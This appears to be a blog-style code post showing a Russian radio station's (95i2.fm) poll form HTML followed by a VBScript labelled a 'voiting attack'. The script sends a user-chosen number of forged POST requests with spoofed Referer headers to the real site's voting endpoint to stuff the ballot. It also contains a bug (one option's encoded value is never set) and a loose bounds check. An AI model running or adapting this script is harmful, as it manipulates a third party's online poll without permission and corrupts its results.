<form action="index.php?mod=voting" method="POST">
<input type="radio" name="variant" value="В машине">
<font color=white>В машине</font><br><br>
<input type="radio" name="variant" value=" На работе">
<font color=white> На работе</font><br><br>
<input type="radio" name="variant" value=" Дома">
<font color=white> Дома</font><br><br>
<input type="radio" name="variant" value=" В плеере">
<font color=white> В плеере</font><br><br>
<center><input type="image" src="themes/default/vote_button.gif" value="Голосовать!"></center>
</form>
* This source code was highlighted with Source Code Highlighter.

Option Explicit

Dim objHTTP, i, Num, Cnt

WScript.StdOut.WriteLine "95i2.fm voiting attack"
WScript.StdOut.WriteLine

' init --->
Dim v(3), v_descr(3)

v(0) = "%C2%20%EC%E0%F8%E8%ED%E5"
v_descr(0) = "В машине"

v(1) = "%20%CD%E0%20%F0%E0%E1%EE%F2%E5"
v_descr(1) = " На работе"

v_descr(2) = "%20%C4%EE%EC%E0"
v_descr(2) = " Дома"

v(3) = "%20%C2%20%EF%EB%E5%E5%F0%E5"
v_descr(3) = " В плеере"
' <--- init

' variants menu --->
Dim n, c
n = 0
For Each c In v 
  WScript.StdOut.WriteLine n & ". " & """" & v_descr(n) & """"
  n = n + 1
Next
' <--- variants menu

WScript.StdOut.WriteLine
WScript.StdOut.Write "Enter variant for upgrade and press Enter: "
Num = WScript.StdIn.Read(3)

If CInt(Num) <= (UBound(v) + 1) Then
 WScript.StdOut.WriteLine "Ok. Your choice: " & """" & v_descr(Num) & """"
 
 WScript.StdOut.WriteLine
 WScript.StdOut.Write "Enter count for upgrade: "
 Cnt = WScript.StdIn.Read(3)
 
 ' atack! --->
 If CInt(Cnt) > 0 Then 
  For i = 1 To Cnt
   WScript.StdOut.Write "Request: " & i & "... "
   
   Set objHTTP = CreateObject("MSXML2.XMLHTTP")
   objHTTP.Open "POST", "http://95i2.fm/index.php?mod=voting", False
   
   objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
   objHTTP.setRequestHeader "Host", "95i2.fm"
   objHTTP.setRequestHeader "Referer", "http://95i2.fm/index.php"
   
   objHTTP.send "variant=" & v(Num)
   
   Set objHTTP = Nothing
   WScript.StdOut.WriteLine "Ok"
  Next
  WScript.StdOut.WriteLine
  WScript.StdOut.WriteLine "All done!"
 Else
  WScript.StdOut.WriteLine """" & CInt(Cnt) & """" & " - is incorrect value"
 End If ' <--- atack! 
End If

WScript.StdOut.WriteLine
Wscript.StdOut.Write "Press the Enter to continue."
Do While Not WScript.StdIn.AtEndOfLine
  Input = WScript.StdIn.Read(2)
Loop

* This source code was highlighted with Source Code Highlighter.